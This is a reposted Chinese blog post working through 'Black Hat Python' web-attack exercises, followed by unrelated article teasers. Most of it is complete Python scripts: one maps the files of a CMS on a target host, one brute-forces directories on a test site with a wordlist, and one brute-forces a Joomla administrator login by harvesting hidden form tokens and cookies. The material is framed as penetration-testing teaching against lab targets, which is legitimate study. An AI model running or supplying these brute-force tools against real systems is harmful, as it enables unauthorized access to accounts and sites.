《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

Web的套接字函数库:urllib2

一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好:

#!/usr/bin/python
#coding=utf-8
import urllib2url = "http://www.baidu.com"headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)print response.read()
response.close()
# body = urllib2.urlopen("http://www.baidu.com")# print body.read()

 

运行结果:

放在Python的shell环境中运行:

注意到由于有中文,所以为了避免出现乱码就在调用了read()函数之后再调用decode("utf-8")来进行utf-8的字符解密。

 

开源Web应用安装:

这里的前提是Web服务器使用的是开源CMS来建站的,而且自己也下载了一套相应的开源代码。

这里使用盾灵的CMS吧,可以直接在网上下载,其界面如图:

接着直接上代码吧:

#!/usr/bin/python
#coding=utf-8
import Queue
import threading
import os
import urllib2threads = 10target = "http://10.10.10.144/dunling"
directory = "/dunling"
filters = [".jpg",".gif",".png",".css"]os.chdir(directory)web_paths = Queue.Queue()for r,d,f in os.walk("."):for files in f:remote_path = "%s/%s"%(r,files)if remote_path.startswith("."):remote_path = remote_path[1:]if os.path.splitext(files)[1] not in filters:web_paths.put(remote_path)def test_remote():while not web_paths.empty():path = web_paths.get()url = "%s%s"%(target,path)request = urllib2.Request(url)try:response = urllib2.urlopen(request)content = response.read()print "[%d] => %s"%(response.code,path)response.close()except urllib2.HTTPError as error:# print "Failed %s"%error.codepassfor i in range(threads):print "Spawning thread : %d"%it = threading.Thread(target=test_remote)t.start()

运行结果:

 

 

暴力破解目录和文件位置:

先下载SVNDigger的第三方暴力破解工具的字典:https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/

将其中的all.txt文件放到相应的目录以备调用,这里就和示例一样放到/tmp目录中。

#!/usr/bin/python
#coding=utf-8import urllib2
import threading
import Queue
import urllibthreads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"def build_wordlist(wordlist_file):#读入字典文件fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordsdef dir_bruter(word_queue,extensions=None):while not word_queue.empty():attempt = word_queue.get()attempt_list = []#检测是否有文件扩展名,若没有则就是要暴力破解的路径if "." not in attempt:attempt_list.append("/%s/"%attempt)else:attempt_list.append("/%s"%attempt)#如果我们想暴破扩展if extensions:for extension in extensions:attempt_list.append("/%s%s"%(attempt,extension))#迭代我们要尝试的文件列表for brute in attempt_list:url = "%s%s"%(target_url,urllib.quote(brute))try:headers = {}headers["User-Agent"] = user_agentr = urllib2.Request(url,headers=headers)response = urllib2.urlopen(r)if len(response.read()):print "[%d] => %s"%(response.code,url)except urllib2.URLError, e:if hasattr(e,'code') and e.code != 404:print "!!! %d => %s"%(e.code,url)password_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]for i in range(threads):t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))t.start()

运行结果:

 

暴力破解HTML表格认证:

先下载Joomla,安装后之后到后台登陆页面:

 

右键查看源代码,分析表单的关键信息:

 

 

可以看到,在表单中input标签下代表用户名和密码的变量的名称为username和passwd;在form标签最后的地方有一个长整型的随机字符串,这时Joomla对抗暴力破解技术的关键,会在当前的用户会话中通过存储在cookie中进行检测;登录成功的对比字符串是页面返回的title的内容,即“Administration - Control Panel”。

所以,书上作者也给出了爆破Joomla的流程:

1、检索登录页面,接受所有返回的cookies值;

2、从HTML中获取所有表单元素;

3、在你的字典中设置需要猜测的用户名和密码;

4、发送HTTP POST数据包到登录处理脚本,数据包含所有的HTML表单文件和存储的cookies值;

5、测试是否能登录成功。

 

代码如下:

#!/usr/bin/python
#coding=utf-8import urllib2
import urllib
import cookielib
import threading
import sys
import Queuefrom HTMLParser import HTMLParser#简要设置
user_thread = 10
username = "admin"
wordlist_file = "/tmp/passwd.txt"
resume = None#特定目标设置
target_url = "http://10.10.10.144/Joomla/administrator/index.php"
target_post = "http://10.10.10.144/Joomla/administrator/index.php"username_field = "username"
password_field = "passwd"success_check = "Administration - Control Panel"class Bruter(object):"""docstring for Bruter"""def __init__(self, username, words):self.username = usernameself.password_q = wordsself.found = Falseprint "Finished setting up for: %s"%usernamedef run_bruteforce(self):for i in range(user_thread):t = threading.Thread(target=self.web_bruter)t.start()def web_bruter(self):while not self.password_q.empty() and not self.found:brute = self.password_q.get().rstrip()jar = cookielib.FileCookieJar("cookies")opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))response = opener.open(target_url)page = response.read()print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())#解析隐藏区域parser = BruteParser()parser.feed(page)post_tags = parser.tag_results#添加我们的用户名和密码区域post_tags[username_field] = self.usernamepost_tags[password_field] = brutelogin_data = urllib.urlencode(post_tags)login_response = opener.open(target_post,login_data)login_result = login_response.read()if success_check in login_result:self.found = Trueprint "[*] Bruteforce successful. "print "[*] Username: %s"%self.usernameprint "[*] Password: %s"%bruteprint "[*] Waiting for other threads to exit ... "class BruteParser(HTMLParser):"""docstring for BruteParser"""def __init__(self):HTMLParser.__init__(self)self.tag_results = {}def handle_starttag(self,tag,attrs):if tag == "input":tag_name = Nonetag_value = Nonefor name,value in attrs:if name == "name":tag_name = valueif name == "value":tag_value = valueif tag_name is not None:self.tag_results[tag_name] = valuedef build_wordlist(wordlist_file):fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordswords = build_wordlist(wordlist_file)brute_obj = Bruter(username,words)
brute_obj.run_bruteforce()

这里主要导入cookielib库,调用其FileCookieJar()函数来将cookie值存储在cookies文件中,并通过urllib2库的HTTPCookieProcessor()函数来进行cookie处理再返回给urllib2库的build_opener()函数创建自定义opener对象使之具有支持cookie的功能。

运行结果:

转载于:https://www.cnblogs.com/LyShark/p/9102019.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/397855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vCenter Converter Standalone使用文档

文档目的能够使用vCenter Converter Standalone 将物理机操作系统迁移到虚拟机操作系统基础知识vCenter Converter Standalone 能将物理机上的操作系统、VMware虚拟机上的操作系统或者Hype-V 上的虚拟机操作系统迁移到VMware上。系统环境操作系统:Windows Server 20…

1093芯片做正弦波逆变器_正弦波逆变器中的SPWM调制(钟任生)

欢迎加入技术交流QQ群(2000人):电力电子技术与新能源 905723370高可靠新能源行业顶尖自媒体在这里有电力电子、新能源干货、行业发展趋势分析、最新产品介绍、众多技术达人与您分享经验,欢迎关注我们,搜索微信公众号:电力电子技术…

android 手机短信恢复,安卓手机短信删除了怎么恢复?简单恢复的方法

原标题:安卓手机短信删除了怎么恢复?简单恢复的方法安卓手机短信删除了怎么恢复?手机短信是生活中不经常使用到,但是依然是十分重要的存在,因为我们现在比较喜欢用社交软件与别人进行交流,但是在一些相对重…

bash下个人习惯的一些文件设置

2019独角兽企业重金招聘Python工程师标准>>> bash_profile export PATH/usr/local/bin:$PATH export EDITORviinputrc set editing-mode vi #set editing-mode emacs set show-all-if-ambiguous on set completion-ignore-case on set meta-flag on set conver…

docker打包镜像上传_Jenkins | 一键打包部署Spring Boot 应用的Docker镜像

一、前言1、本文主要内容将在项目中实际使用到的相关东西整理记录一波,同时可以方便其他同学在使用到的时候参考一下(自己也备忘),有不对的地方,欢迎指出~~Docker部署SpringBoot 项目通用Dockerfile文件、脚本Jenkins新建任务图文详解3、本文…

android 发送短信 广播 demo,向Android模拟器打电话发短信的简单方法

在开发android应用程序时,有时候需要测试一下向android手机拨打电话发送短信时该应用程序的反应。譬如编写一个广播接收器,来提示用户有短信收到或者处理短信,就需要向该手机发送短信来进行测试。这里介绍一种简单的向android模拟器打电话发短…

android 隐藏键盘时ui延迟恢复,android 软键盘的显示与隐藏问题的研究

在android中,常常会和输入法的软件键盘交互。在Manifest文件中,系统给activity的一个属性-windowSoftInputMode来控制输入法的显示方式。该属性提供了Activity的window与软键盘的window交互的方式。这里的属性设置有双方面的影响:1.软键盘的显…

天才基本法_《天才基本法》强推!年度神仙小说,看完这本书我竟然爱上了数学...

《天才基本法》——长洱小说文案元宝的书评这个真的是本年度的神仙小说,讲述了女主回到少女时代,可以和他一直暗恋的数学天才重来一遍。女主让男主改变了觉得她碌碌无为的看法,也改变了自己的人生。本书最大的主角其实是数学!天知…

千年鸿蒙 盼尔来兮是什么意思,鸿蒙是什么意思_鸿蒙的意思和出处_我爱历史网...

鸿蒙,是一个汉语词语,亦作“鸿濛”。中国神话传说的远古时代,传说在盘古开天辟地之前,世界是一团混沌状,因此把那个时代称作鸿蒙时代,后来该词也常被用来泛指远古时代。引证解释亦作“鸿濛”。1、宇宙形成前…

在VS2015中用C++创建DLL并用C#调用且同时实现对DLL的调试

from:http://m.blog.csdn.net/article/details?id51075023 在VS2015中先创建C#项目,然后再创建要编写的动态库DLL项目,这样做的好处是整个解决方案的编程环境是C#模式,这样就可以有很多智能的提示或快捷的编程方式在整个解决方案中都可以使用…

(转)CocosCreator零基础制作游戏《极限跳跃》二、制作游戏开始场景

CocosCreator零基础制作游戏《极限跳跃》二、制作游戏开始场景 我们刚刚分析了《极限跳跃》这款游戏,下面我们开始制作第一个游戏场景,也就是游戏的开始场景。 首先,打开CocosCreator,新建HelloWorld项目。选择项目路径&#xff0…

连接池超时配置_HttpClient连接池的一些思考

前言使用apache的httpclient进行http的交互处理已经很长时间了,而httpclient实例则使用了http连接池,想必大家也没有关心过连接池的管理。事实上,通过分析httpclient源码,发现它很优雅地隐藏了所有的连接池管理细节,开…

视图和模型变换

视图变换,是指变换照相机的位置,角度。 模型变换,是指变换被照物体的位置,角度。 这两个变换,都会影响最终图形中,物体的位置,角度。而这两个变换,可以达到相同的效果。比如&#x…

鸿蒙os全面升级,华为突然宣布,鸿蒙OS正式版6月底全面升级,幸福来得太突然...

原标题:华为突然宣布,鸿蒙OS正式版6月底全面升级,幸福来得太突然摘要:早在今年2月华为Mate X2折叠屏新品发布会上,余承东曾表示,鸿蒙OS正式版将于今年4月份全面上线。或许是因为华为宣布卖车分散了很多的精…

eclipse启动失败:An internal error occurred during: reload maven project

2019独角兽企业重金招聘Python工程师标准>>> 1.找到workspace文件夹下的/.metadata文件夹,将其删除掉,然后在讲项目重新导入进去eclipse中。但是这个有一点不好的地方,之前对eclipse所做的配置也会恢复为默认配置 2.在.metadata下…

skt7850鸿蒙策略,lol 英雄联盟 SKT状态回暖轻取外卡,SUP难挡Faker

MSI 第四日 SUP vs SKT双方bpBAN LISTBAN:SUP:流浪 牛头 豹女SKT:巴德 妖姬 鱼人PICKSUP:大树 男枪 冰女 卢锡安 锤石SKT:艾克 千珏 沙皇 EZ 布隆比赛开始,双方正常对线开局。前期下路锤石多次勾中ez,男枪也来逼出EZ布…

spring集成struts2

Struts2前身是WebWork,核心并没有改变,其实就是把WebWork改名为struts2,与Struts1一点关系没有。 Struts2中通过ObjectFactory接口实现创建及获取Action实例,类似于Spring的IoC容器,所以Action实例可以由ObjectFactory…

Android学习之查看网络图片

在这里小编学习了查看网络图片的小案例,: 初始界面: 点击浏览后,效果如下: 需要注意的是 该案例需要获取联网权限,即: <uses-permission android:name"android.permission.INTERNET"/>具体步骤如下: 1.定义并初始化控件: private EditText etImageUrl;private …

vue 转为静态html,Vue CLI 3使用:HTML和静态资源(五)

HTMLpublic/index.html 文件是一个会被 html-webpack-plugin 处理的模板。构建中&#xff0c;各种资源路径会被注入解析。可以使用 lodash template 语法插入内容。用来做不转义插值&#xff1b;用来做 HTML 转义插值&#xff1b;用来描述 JavaScript 流程控制。除了被 html-we…

从html导出带样式的excel,Jquery导出带样式的Excel

工作中做导出的时候&#xff0c;需要导出自定义的表格或嫌弃导出的Excel格式太难看了。需要设置颜色、字号大小、加粗、合并单元格等等。特性&#xff1a;支持过滤 某个位置支持过滤 img 标签支持过滤 a 标签支持过滤 input 标签支持包含 行内样式。HTML页面&#xff1a;HTML页…